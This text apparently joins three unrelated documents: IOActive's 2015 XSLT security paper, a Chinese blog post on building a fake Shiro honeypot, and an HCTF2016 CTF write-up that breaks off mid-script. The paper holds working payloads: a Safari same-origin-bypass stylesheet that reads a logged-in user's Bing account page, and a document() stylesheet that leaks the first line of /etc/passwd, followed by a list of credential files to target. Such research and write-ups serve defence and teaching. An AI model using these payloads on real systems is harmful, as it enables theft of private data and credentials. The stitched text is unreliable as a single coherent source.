Obtaining the current path ...................................................................................................... 6
Loss of Precision with Large Integers ........................................................................... 8
Loss of Precision with Real Numbers ......................................................................... 12
Insecure Random Numbers ........................................................................................ 15
Pseudorandom values are not secure .............................................................................. 15
No initialization vector (IV) ................................................................................................ 16
Same-Origin Policy Bypass ......................................................................................... 18
Information Disclosure (and File Reading) through Errors .......................................... 21
© 2015 IOActive, Inc. All Rights Reserved. [3]
Introduction
XSLT is a language created to manipulate XML documents. This language can be used either by client
side processors (i.e. web browsers) or server side processors (standalone parsers or libraries from
programming languages).
There are three major versions of XSLT: v1, v2 and v3. This research is focused on XSLT v1.0 since it
is the most widely deployed version being used.
There is a certain set of flaws that can put in risk the integrity and confidentiality of user information.
Some of these flaws are analyzed on this paper along with recommendations to mitigate these
problems.
Processors
The XSLT processors analyzed for this research are the following:
•
Server side processors:
•
Libxslt (Gnome):
•
Standalone: xsltproc
•
Python v2.7.10, PHP v5.5.20, Perl v5.16 and Ruby v2.0.0p481 (implemented
in Nokogiri v1.6.6.2)
•
Xalan (Apache):
•
Standalone: Xalan-C v1.10.0 and Xalan-J v2.7.2
•
Java and C++
•
Saxon (Saxonica):
•
Standalone: Saxon v9.6.0.6J
•
Java, JavaScript and .NET
•
Client side processors:
•
Web browsers:
•
Google Chrome v43.0.2357.124
•
Safari v8.0.6
•
Firefox v38.0.5
•
Internet Explorer v11
•
Opera v30.0
© 2015 IOActive, Inc. All Rights Reserved. [4]
Gathering information about your target
It is possible to query the XSLT processor for information about the backend system. This information
may be used to target the specific flaws of each processor.
The XSLT processor discloses specific information about the processor when retrieving information
using the method system-property(). Normally, there are only three parameters available:
version, vendor and vendor-url. Yet, certain processors provide additional system properties and,
of course, web browsers will provide additional details when using JavaScript.
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="disclosure.xsl"?>
<catalog></catalog>
Figure 1: XML file disclosure.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supports-
serialization')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supports-
backwards-compatibility')" /><br />
</xsl:if>
<br />Navigator Object (JavaScript stuff):
<pre><font size="2"><script>for (i in navigator) { document.write('<br />navigator.' + i +
' = ' + navigator[i]);} </script><div id="output"/><script> if
(navigator.userAgent.search("Firefox")!=-1) { output=''; for (i in navigator) {
if(navigator[i]) {output+='navigator.'+i+' = '+navigator[i]+'\n';}} var txtNode =
document.createTextNode(output); document.getElementById("output").appendChild(txtNode)
}</script></font></pre>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Figure 2: Stylesheet associated to get information
© 2015 IOActive, Inc. All Rights Reserved. [5]
By using the previous XML and XSLT it is possible to obtain the XSLT and JavaScript properties (in
case it is supported). The following table shows the two most significant values of the software tested:
who the vendor is and if it supports JavaScript
processor
xsl:version
xsl:vendor
JavaScript
server
xalan-‐c
1
Apache
Software
Foundation
no
xalan-‐j
1
Apache
Software
Foundation
no
saxon
2
Saxonica
no
xsltproc
1
libxslt
no
php
1
libxslt
no
python
1
libxslt
no
perl
1
libxslt
no
ruby
1
libxslt
no
client
safari
1
libxslt
yes
opera
1
libxslt
yes
chrome
1
libxslt
yes
firefox
1
Transformiix
yes
internet
explorer
1
Microsoft
yes
Table 1: summarize table of information disclosure
All processors tested exposed some internal information: either the XSLT properties or the XSLT
properties plus the JavaScript properties.
© 2015 IOActive, Inc. All Rights Reserved. [6]
Obtaining the current path
Certain attacks may require the specific path where the files are hosted. XSLT provides the function
unparsed-entity-uri() that can be used to obtain this information. A document type definition
(commonly known as DTD, a XML schema) is also required to accomplish this embedded in the XML
document:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="path-disclosure.xsl"?>
<!DOCTYPE catalog [
<!ELEMENT catalog ANY>
<!NOTATION JPEG SYSTEM "urn:myNamespace">
<!ENTITY currentpath SYSTEM "path-disclosure.xsl" NDATA JPEG>
]>
<catalog>
</catalog>
Figure 3: XML using a DTD and referencing an XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<html>
<body>
<h3>unparsed-entity-uri()</h3>
<ul>
<li>
<b>unparsed-entity-uri('currentpath')</b> =
<xsl:value-of select="unparsed-entity-uri('currentpath')"/>
</li>
</ul>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
Figure 4: XSLT using unparsed-entity-uri() to disclose the path of path-disclosure.xsl
© 2015 IOActive, Inc. All Rights Reserved. [7]
processor
path
disclosure
server
xalan-‐c
no
xalan-‐j
yes
saxon
yes
xsltproc
no
php
yes
python
no
perl
no
ruby
no
client
safari
yes
opera
yes
chrome
yes
firefox
no
internet
explorer
yes
Table 2: path disclosure on processors using unparsed-entity-uri()
All the web browsers except Firefox will expose the path of their files. When it comes to server side
processors Xalan-j, Saxon and PHP are affected. It is worth noting that even though certain processors
may use the same library, they do not necessarily share the same type of behavior.
Once that some initial information has been gathered about our targets, we can jump to the different
techniques used to exploit their flaws.
© 2015 IOActive, Inc. All Rights Reserved. [8]
Loss of Precision with Large Integers
When I do math, I expect calculations will have the same results regardless of whether they are
performed on a computer or in the real world using a piece of paper and a pencil. Unfortunately, when
using large numbers in XSLT 1.0, we might encounter unexpected results.
Consider the following XML document that defines ten values:
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="bigintegers.xsl"?>
<root>
<value>1e22</value>
<value>1e23</value>
<value>1e24</value>
<value>1e25</value>
<value>1e26</value>
<value>10000000000000000000000</value>
<value>100000000000000000000000</value>
<value>1000000000000000000000000</value>
<value>10000000000000000000000000</value>
<value>100000000000000000000000000</value>
</root>
Figure 5: bigintegers.xml
The values are simple numbers, which all follow the same rule: the number one followed by multiple
zeroes.
The next step is to represent these values with format-number(). This function is used to convert a
number into a string and allows the input number to be formatted. In this case, we want to add a
comma to separate thousands:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<output>
<xsl:for-each select="/root/value">
<xsl:text>
</xsl:text>
<xsl:value-of select="."/>: <xsl:value-of select="format-number(.,'#,###')"/>
</xsl:for-each>
</output>
</xsl:template>
</xsl:stylesheet>
Figure 6: bigintegers.xsl
Applying this XSLT will result in ten different lines, one per value. These will contain the original value
and its representation formatted with commas separating the thousands.
This is the output when parsing the information using web browsers:
© 2015 IOActive, Inc. All Rights Reserved. [9]
Figure 7: web browser showing incorrect values
Notice the error introduced by format-number() on libxslt browsers (Safari, Opera, and Chrome on
the left). Errors will be different depending on whether or not scientific notation is used. There were no
errors for Firefox and Internet Explorer (on the right)
© 2015 IOActive, Inc. All Rights Reserved. [10]
Figure 8: server side processors showing incorrect values
A similar situation occurs on server side processors. On the left side of the screenshot the libxslt
processors show a similar set of results. On the right xalan-c and xalan-j show unexpected results and
Saxon shows the correct output at the bottom right.
processor
result
server
xalan-c (apache)
errors
xalan-j (apache)
errors
saxon
ok
xsltproc
errors
php
errors
python
errors
perl
errors
ruby
errors
client
safari
errors
opera
errors
chrome
errors
firefox
ok
internet explorer
ok
Table 3: loss of precision with large integers
It is also worth mentioning that processors will not notice if certain values are missing from very large
integers. Whenever the processor is using more than 17 digits for a number, it will not be able to track
missing numbers.
The following statements in XSLT are always considered to be true:
© 2015 IOActive, Inc. All Rights Reserved. [11]
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:if test="1 = 1">
The statement 1 = 1 is true
</xsl:if>
<xsl:if test="10000000000000000000000 = 10000000000000000000000 - 1000000">
The statement 10000000000000000000000 = 10000000000000000000000 - 1000000 is true
</xsl:if>
</xsl:template>
</xsl:stylesheet>
Figure 9: Missing values are not detected
Recommendation
Use an XSLT processor capable of high-precision integer arithmetic to avoid incorrect calculations1.
1 CWE-682: Incorrect Calculation (http://cwe.mitre.org/data/definitions/682.html)
© 2015 IOActive, Inc. All Rights Reserved. [12]
Loss of Precision with Real Numbers
Real numbers are difficult to represent exactly in computers. Some operations have anomalous
behavior when used with certain values as a result of how calculations are performed.
Consider the following XML document containing two float values:
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="precision.xsl"?>
</test>
Figure 10: precision.xml
An XSLT v1.0 associated document will report the sum of the previous values:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<output>
<xsl:value-of select="0.2 + 0.1 - 0.3"/>
</output>
</xsl:template>
</xsl:stylesheet>
Figure 11: precision.xsl (XSLT v1.0)
The result should be the 0. However, certain processors may not be able to calculate this correctly.
Safari, Firefox and Internet Explorer are not able to obtain the correct result. A similar situation happens
with server side processors:
© 2015 IOActive, Inc. All Rights Reserved. [13]
Figure 12: Output using server side processors
There were no server side processors capable of providing the expected value.
processor
result
server
xalan-c (apache)
errors
xalan-j (apache)
errors
saxon
errors
xsltproc
errors
php
errors
python
errors
perl
errors
ruby
errors
client
safari
errors
opera
ok
chrome
ok
firefox
errors
internet explorer
errors
© 2015 IOActive, Inc. All Rights Reserved. [14]
Table 3: loss of precision with large integers
Recommendation
Use an XSLT v1.0 processor capable of performing operations with real numbers2. It is worth noting
that XSLT v1.0 processors that are capable of processing real numbers will not be able to process large
integers. Another possibility is to use an XSLT v2.0 processor with the function xs:decimal to avoid
loss of precision3.
2 CWE-682: Incorrect Calculation (http://cwe.mitre.org/data/definitions/682.html)
3 XML Schema Part 2: Datatypes Second Edition (http://www.w3.org/TR/xmlschema-2/#decimal)
© 2015 IOActive, Inc. All Rights Reserved. [15]
Insecure Random Numbers
Since there is no specification by the World Wide Web Consortium (W3C) about how random functions
should be implemented, they have been developed as part of the Extensions for XSLT (EXSLT).
Therefore, implementations have different interpretations on how to perform the same function.
Pseudorandom values are not secure
Xalan-C, Xalan-J and Saxon use an IV for their random function. Nevertheless, the three of them are
using a non-secure pseudo random number generator. This is not by itself an insecure behavior as long
as the Math:random() function is not used for security-sensitive applications.
1. Xalan-C uses srand() from C++. The man page for srand() defines the functions as a "bad
random number generator". Here is the random function for Xalan-C:
Figure 13: Xalan-C random function in xalan-c-1.11/c/src/xalanc/XalanEXSLT/XalanEXSLTMath.cpp
2. Xalan-J and Saxon use java.lang.Math.random() from Java. The Java documentation
recommends using “SecureRandom to get a cryptographically secure pseudo-random number
generator for use by security-sensitive applications”. Following are the random() functions
from Xalan-J and Saxon.
Figure 14: Xalan-J random function in xalan-j_2_7_2/src/org/apache/xalan/lib/ExsltMath.java
© 2015 IOActive, Inc. All Rights Reserved. [16]
Figure 15: Saxon random function in saxon9-6-0-6source/net/sf/saxon/option/exslt/Math.java
All XSLT implementations rely on pseudorandom numbers generators and their outputs are not to be
used for sensitive information.
No initialization vector (IV)
A Pseudo Random Number Generator (PRNG) begins with a certain seed value. Libxslt does not
implement a default seed value for its random functionality.
The following is a sample random.xsl file, which will output a value obtained from Math:random():
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:math="http://exslt.org/math" extension-element-prefixes="math">
<xsl:output omit-xml-declaration="yes"/>
<xsl:template match="/">
<xsl:value-of select="math:random()" /><xsl:text>
</xsl:text>
</xsl:template>
</xsl:stylesheet>
Figure 16: random.xsl
This is an example set of two outputs using the latest version of xsltproc:
Figure 17: Random output using the same IV
© 2015 IOActive, Inc. All Rights Reserved. [17]
Notice how the xsltproc output remains the same execution after execution. This is a result of the fact
that the random() function always uses the same seed. If the random function is used as a Cipher
Block Chaining (CBC), not using a random initialization Vector (IV) will cause algorithms to be
susceptible to dictionary attacks.
When using LXML with Python, you will obtain that same result as in the first execution. After that, the
next results will be different than the first one. However, the same values will be produced execution
after execution unless time is used as part of the seed.
Recommendation
Firstly, if cryptographically secure numbers are required4 do not use XSLT. Secondly, if different values
are required every time the XSLT is being processed, remember to define a different IV value in case
using libxslt5.
4 CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator
(http://cwe.mitre.org/data/definitions/338.html)
5 CWE-329: Not Using a Random IV with CBC Mode (http://cwe.mitre.org/data/definitions/329.html)
© 2015 IOActive, Inc. All Rights Reserved. [18]
Same-Origin Policy Bypass
An origin is defined by the scheme, host, and port of a URL. Generally speaking, documents retrieved
from distinct origins are isolated from each other. For example, if a document retrieved from
http://example.com/doc.html tries to access the DOM of a document retrieved from
https://example.com/target.html, the user agent will disallow access. The origin of the first document
(HTTP scheme, host example.com, and port 80) does not match the scheme and port of the second
document (HTTPS scheme, host example.com, port 443) .
Safari is able to process XML and XHTML files, which can then be manipulated using XSLT v1.0
functionalities. By making use of the XSLT function document(), it is possible to access well-formed
XML documents other than the main source document. Safari permits the main document to access
cross-origin URL addresses using their corresponding cookies. Information from third-party websites
can be retrieved using the XSLT function document(), and then analyzed using the functions value-
of() and/or copy-of(). Finally, the information can be manipulated using JavaScript and sent back
to an attacker.
In the following proof of concept code, an attacker uses a local XHTML file containing an in-line XSLT
document referencing the same document (line 3). This document defines a URL element (line 93)
which is opened with the document() function (line 38) and the context is exposed using the functions
value-of (line 53) and copy-of (line 66). Finally, the contents are further manipulated using
JavaScript (lines 81-84)6.
2 <?xml version="1.0" encoding="utf-8"?>
3 <?xml-stylesheet type="text/xsl" href="cross-origin.xhtml"?>
4 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/1999/xhtml">
5
6 <xsl:template match="xsl:stylesheet">
7 <xsl:apply-templates/>
8 </xsl:template>
9
10 <xsl:template match="/">
11 <html>
12 <head>
13 <style>
14 body {background-color: #A82A26;}
15 table {background-color: #FFFFFF;
16 border-style: solid;
17 border-collapse: collapse;
18 border-color: #CCCCCC;}
19 h1 {color:#FFFFFF;
20 text-align:center;}
21 </style>
22 <title>IOActive - XOSS (Cross Origin Site Scripting)</title>
23 </head>
24 <body>
25 <h1>IOActive - XOSS (Cross Origin Site Scripting)</h1>
6 CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
(http://cwe.mitre.org/data/definitions/79.html )
© 2015 IOActive, Inc. All Rights Reserved. [19]
26 <br/>
27 <table align="center">
28 <xsl:apply-templates />
29 </table>
30 </body>
31 </html>
32 </xsl:template>
33
34 <xsl:template match="text()"/>
35
36 <xsl:template match="//node()[local-name() = name()]">
37 <xsl:if test="local-name() = 'url'">
38 <xsl:variable name="url" select="document(.)"/>
39 <tr>
40 <td>
41 <b>URL:</b>
42 </td>
43 <td>
44 <xsl:value-of select="."/>
45 </td>
46 </tr>
47 <tr>
48 <td>
49 <b><xsl:value-of></b>
50 </td>
51 <td>
52 <textarea id="valueOf" rows="10" cols="100">
53 <xsl:value-of select="$url"/>
54 </textarea>
55 </td>
56 </tr>
57 <tr>
58 <td>
59 <b><xsl:copy-of></b>
60 </td>
61 <td>
62 <textarea id="copyOf" rows="10" cols="100">
63 <xsl:text disable-output-escaping="yes">
64 <![CDATA[
65 </xsl:text>
66 <xsl:copy-of select="$url"/>
67 <xsl:text disable-output-escaping="yes">
68 ]]>
69 </xsl:text>
70 </textarea>
71 </td>
72 </tr>
73 <tr>
74 <td>
75 <b>Accessing private
76 information from:</b>
77 </td>
78 <td>
79 <input type="text" id="internal"/>
80 <script type="text/javascript">
81 var copyOf = document.getElementById("copyOf").value;
82 var firstname = copyOf.substring(copyOf.indexOf('"id_n">')+7);
83 var internal = document.getElementById("internal");
84 internal.value = firstname.substring(0,8);
85 </script>
86 </td>
87 </tr>
© 2015 IOActive, Inc. All Rights Reserved. [20]
88 </xsl:if>
89 <xsl:apply-templates/>
90 </xsl:template>
91
92 <read>
93 <url>http://www.bing.com/account/general</url>
94 </read>
95
96 </xsl:stylesheet>
Figure 18: cross-origin.xhtml
The following steps will read cross-origin information from www.bing.com:
1)
Log in www.bing.com (if you already have a valid cookie, this step is not required)
2)
Open cross-origin.xhtml
Figure 19: Reading Information from Bing
The previous code outputs three text areas:
•
<xsl:value-of>: a text representation of the web page
http://www.bing.com/account/general when using the user's cookie
•
<xsl:copy-of>: an XML representation of the web page
http://www.bing.com/account/general when using the user's cookie
•
Accessing private information from: the name of the user logged in bing.com
Recommendation
Do not allow violations to the same-origin policy.
© 2015 IOActive, Inc. All Rights Reserved. [21]
Information Disclosure (and File Reading) through
Errors
Malformed XSLT documents will terminate an execution once they detect an error. This is the same
behavior observed for malformed XML documents: the specification defines strict rules, and on fatal
errors, no more data should be processed.
Errors can provide useful information about what has gone wrong. Users or developers may find this
information useful when working with XML and style sheets. These messages may indicate which file is
corrupted, in which line the problem lies, and eventually what the error is. The error messages depend
on the functionality and the application being tested. Certain functions—and applications—may be
prone to provide more interesting information than others. Most web browsers have their own additional
restrictions, which may not be present in XSLT processors.
There are three functions that can be used to read files:
•
document(): is used to access information contained in other XML documents.
•
include(): allows stylesheets to be combined without changing the semantics of the stylesheets
being combined
•
import(): allows stylesheets to override each other
The following XML document references in the element file the value /etc/passwd and it will use an
XSLT defined in the first line:
<?xml-stylesheet type="text/xsl" href="2-9-Reading_Non-XML-Files.xsl"?>
<file>/etc/passwd</file>
Figure 20: Document Containing “/etc/passwd” Reference
The following style sheet is the one being referenced by the previous document. It contains a reference
to the document() function and it will attempt to output its content using the value-of functionality:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document(file)"/>
</xsl:template>
</xsl:stylesheet>
Figure 21: Style Sheet using document()
© 2015 IOActive, Inc. All Rights Reserved. [22]
The previous style sheet will try to access the file /etc/passwd using the document() function.
Since this file is not an XML document, it should not be possible. But the good thing is that it will output
an unexpected error message. This is the output produced by xsltproc:
Figure 22: Error Message Containing First Line of “etc/passwd”
Once the first line of the file /etc/passwd is read, the processor stops execution after not being able
to find a valid XML starting tag. Next, the processor outputs an error message containing the first 80
characters of the malformed line: the encrypted root password. A similar behavior can also be observed
when using import() or include().
The following example, shows Ruby (using the Nokogiri library) exposing information when using
import():
If an attacker is only able to read one single line of a file, the following files may be interesting to read:
•
/etc/passwd: root linux password
•
/etc/shadow: root linux password
•
.htpasswd: used by Apache to store information in the form of username:password
•
.pgpass: used by PostreSQL to store information in the form of
hostname:port:database:username:password
This type of vulnerability is more potentially exploited on server side processors. When it comes to
client side processors, only Firefox is vulnerable. However, it must be noted that it cannot read files that
are below the directory where the XSLT is.
processor
document()
import()
include()
server
xalan-c (apache)
no
no
no
xalan-j (apache)
no
no
no
saxon
no
no
no
xsltproc
yes
yes
yes
php
yes
yes
yes
python
no
no
no
perl
yes
yes
yes
ruby
no
yes
yes
client
safari
no
no
no
opera
no
no
no
chrome
no
no
no
© 2015 IOActive, Inc. All Rights Reserved. [23]
firefox
no
no
yes
internet explorer
no
no
no
Table 4: reading first line
Recommendation
Do not disclose information about files when presenting error messages, it is not required.
© 2015 IOActive, Inc. All Rights Reserved. [24]
About Fernando Arnaboldi
Fernando Arnaboldi is a senior security consultant at IOActive specialized in code reviews and penetration tests.
About IOActive
IOActive is a comprehensive, high-end information security services firm with a long and established pedigree in
delivering elite security services to its customers. Our world-renowned consulting and research teams deliver a
portfolio of specialist security services ranging from penetration testing and application code assessment through to
semiconductor reverse engineering. Global 500 companies across every industry continue to trust IOActive with
their most critical and sensitive security issues. Founded in 1998, IOActive is headquartered in Seattle, USA, with
global operations through the Americas, EMEA and Asia Pac regions. Visit www.ioactive.com for more information.
Read the IOActive Labs Research Blog: http://blog.ioactive.com. Follow IOActive on Twitter:
http://twitter.com/ioactive. | pdf |
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
1/9
depy
It is a long and beautiful life.
首页
关于
友链
开发shiro蜜罐遇到的一些问题
2022年09月14日 / 网络安全
前情概要
我曾经写过一篇文章是帮助freebuf实现php网站拥有shiro的:https://rce.ink/i
ndex/view/366.go
之前的蜜罐一直写到可以根据指定key让工具实现逼真的爆破效果,如图所示:
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
2/9
这样攻击者会觉得网站是shiro框架,并且被我爆破出了一个key。再配合修改p
hpsessionid为jsessionid,脚本伪静态修改后缀为jsp达到更好的效果。
后续开发
上次写到那里我就去做更有意思的项目了。直到最近我才开始对指定利用链检
测、命令回显等功能进行完善。
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
3/9
我写了一堆php代码来配合脚本小子使用工具进行利用链测试的场景,大概可以
实现下面的效果:
脚本小子发现可以使用这个cc链进行攻击的时候,肯定会进行命令执行。那么我
也只需要写脚本来配合他的一些场景给响应的回显即可,在这里具体针对一下j1a
nfen师傅开发的shiro-attack工具。我们反编译工具中的AttackService.clas
s,代码如下
通过设置序列化的恶意attackRememberMe到cookie,对用户输入命令进行b
ase64编码放入请求头,取响应包body中的内容进行字符串$$$分割,然后取第二
组数据,也就是响应结果,在进行base64解码拿到命令回显。
写一个配合实现的脚本,但是执行命令的时候抛出下标越界的错误,也就是响应
包不是类似$$$data$$$的字符串
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
4/9
工具可以设置代理,我挂了一个burpsuite代理 结果响应是正常的
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
5/9
没办法 只能对jar包打断点
dt_socket,address=5005,server=y,suspend=y -jar /Users/depy/deskto
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
6/9
在 String responseText = this.bodyHttpRequest(header, ""); 处打一个断
点
然后发送命令执行的指令
在代理请求下正常
在关闭代理的情况下 数据变成的乱码 让我非常疑惑 使用自己写的工具、浏览器
访问都正常 就工具不正常
一开始实在没想明白 一直觉得是工具有问题 但是转过头想那为啥其他有漏洞的
网站可以测试呢?所以显然是自己的网站有问题
我不断观察响应包 发现一个header
捏吗 这不是gzip压缩的标头么 看了下数据貌似是被压缩了 这我才想到 我特么网
站用的是nginx啊
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
7/9
很好 果然是开了 把on改成off 标头就消失了
然后就可以正常执行命令了
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
8/9
这样我们可以愉快的构造一些虚假的命令执行结果 继续浪费他的时间 对着php一
顿shiro反序列化了
原因
1.burpsuite等支持自动对响应做gzip解压缩
^
2022/9/14 上午1:41
开发shiro蜜罐遇到的⼀些问题 - depy
https://rce.ink/index/view/406.go
9/9
2.工具使用的请求类URLConnection不支持自动做gzip解压或者版本太低?我
使用自己java工具测试的时候是正常的,看了下我用的是httpurlconnection
所以使用j1anfen师傅工具的时候 建议直接挂burpsuite代理 防止遇到gzip解
压的问题让你觉得是命令执行没有回显^^
^ | pdf |
HCTF2016-Writeup
--by Nu1L
目 录
HCTF2016-Writeup.....................................................................................................1
Level1............................................................................................................................2
1.
Reverse-Web...............................................................................................2
2. Misc-杂项签到...................................................................................................3
3. Web-2099 年的 flag......................................................................................... 4
Level2............................................................................................................................4
1.
Web-ReSrful.................................................................................................4
2.
Misc-pic again..............................................................................................5
3.
Web-giligile...................................................................................................5
4.
Misc-你所知道的隐写就仅此而已吗..........................................................7
5.
Misc-gogogo.................................................................................................8
6.
Reverse-前年的 400 分...............................................................................8
7.
Web-兵者多诡异........................................................................................13
8.
Crypto-Crypto So Interesting...................................................................14
9.
Pwn-就是干................................................................................................ 14
Level3..........................................................................................................................23
1.
Misc-48 小时如何快速精通 c++...............................................................23
2.
Web-香港记者还要快................................................................................25
3.
Reverse-点我点我,我是最正常的逆向题.............................................26
4.
Crypto So Cool.......................................................................................... 26
5.
Web-guestbook......................................................................................... 28
6.
Pwn-asm.....................................................................................................28
7.
Pwn-出题人失踪了.................................................................................... 35
Level4..........................................................................................................................36
1.
Web-大图书馆的牧羊................................................................................36
2.
Reverse-flip................................................................................................36
3.
Web-secret area........................................................................................36
4.
Forensic......................................................................................................37
5.
Web-AT field1............................................................................................37
6.
Web-AT field2............................................................................................37
Level5..........................................................................................................................38
1.
Web-魔法禁书目录....................................................................................38
题目:......................................................................................................................... 38
Level1
1.Reverse-Web
很简单的逆向:
Pounce 大法好:
Flag:hctf{It_1s_s0_3a5y!}
2. Misc-杂项签到
Follow TCP stream 得到一个 python 脚本和 base64 编码的密文,解密得到 flag
#!/usr/bin/env python
# coding:utf-8
__author__ = 'Aklis'
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64
def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])
def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.encrypt(message)
IV = 'YUFHJKVWEASDGQDH'
message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'
print len(message)
#example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
#print example
flag =
base64.b64decode(b"mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhA
OkIs/OXoYVw5uQDjVvgNA==")
example = decrypt(flag, 'Qq4wdrhhyEWe4qBF')
print example
3. Web-2099 年的 flag
改下 User-agent,在返回头里:
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 99_0 like Mac OS X) AppleWebKit/5
36.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25
Level2
1.Web-ReSrful
PUT /index.php/money/12451 提交即可
2.Misc-pic again
比较简单,直接神器 Stegsolve,rgb 三原色选 0,发现是 zip,解压拿到 flag
3.Web-giligile
分析 JS
var _ = { 0x4c19cff: "random", 0x4728122: "charCodeAt", 0x2138878: "substring", 0x3ca9c7b: "toString",
0x574030a: "eval", 0x270aba9: "indexOf", 0x221201f: function(_9) { var _8 = []; for (var _a = 0, _b = _9.length; _a <
_b; _a++) { _8.push(Number(_9.charCodeAt(_a)).toString(16)); } return "0x" + _8.join(""); }, 0x240cb06: function(_2,
_3) { var _4 = Math.max(_2.length, _3.length); var _7 = _2 + _3; var _6 = ""; for(var _5=0; _5<_4; _5++) { _6 +=
_7.charAt((_2.charCodeAt(_5%_2.length) ^ _3.charCodeAt(_5%_3.length)) % _4); } return _6; }, 0x5c623d0:
function(_c, _d) { var _e = ""; for(var _f=0; _f<_d; _f++) { _e += _c; } return _e; } };
var $ = [ 0x4c19cff, 0x3cfbd6c, 0xb3f970, 0x4b9257a, 0x1409cc7, 0x46e990e, 0x2138878, 0x1e1049, 0x164a1f9,
0x494c61f, 0x490f545, 0x51ecfcb, 0x4c7911a, 0x29f7b65, 0x4dde0e4, 0x49f889f, 0x5ebd02c, 0x556f342, 0x3f7f3f6,
0x11544aa, 0x53ed47d, 0x697a, 0x623f21c1, 0x5c623d0, 0x32e8f8b, 0x3ca9c7b, 0x367a49b, 0x360179b,
0x5c862d6, 0x30dc1af, 0x7797d1, 0x221201f, 0x5eb4345, 0x5e9baad, 0x39b3b47, 0x32f0b8f, 0x48554de,
0x3e8b5e8, 0x5e4f31f, 0x48a53a6, 0x270aba9, 0x240cb06, 0x574030a, 0x1618f3a, 0x271259f, 0x3a306e5,
0x1d33b46, 0x17c29b5, 0x1cf02f4, 0xeb896b ];
var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z;
//function check() {
//var answer = document.getElementById("message").value;
// var correct = (function() {
// try {
function Int2String(num){
var val="";
while (num > 0){
val = String.fromCharCode(num%256) + val;
num /= 256;
}
return val;
}
h = new MersenneTwister(parseInt(btoa("hctf"), 32));
e = h[_[$[""+ +[]]]]()*(""+{})[_[0x4728122]](0xc); for(var _1=0; _1<h.mti; _1++) { e ^= h.mt[_1]; }
l = new MersenneTwister(e), v = true;
l.random(); l.random(); l.random();
//o = answer.split("_");
i = l.mt[~~(h.random()*$[0x1f])%0xff];
s = ["0x" + i[_[$[$.length/2]]](0x10), "0x" + e[_[$[$.length/2]]](0o20).split("-")[1]];
//e =- (this[_[$[42]]](_[$[31]](o[1])) ^ s[0]); //if (-e != $[21]) return false;
document.write("o[1] = ",Int2String($[21] ^ s[0]));
o1 = Int2String($[21] ^ s[0]);
e = -$[21];
//e ^= (this[_[$[42]]](_[$[31]](o[2])) ^ s[1]); if (-e != $[22]) return false; e -= 0x352c4a9b;
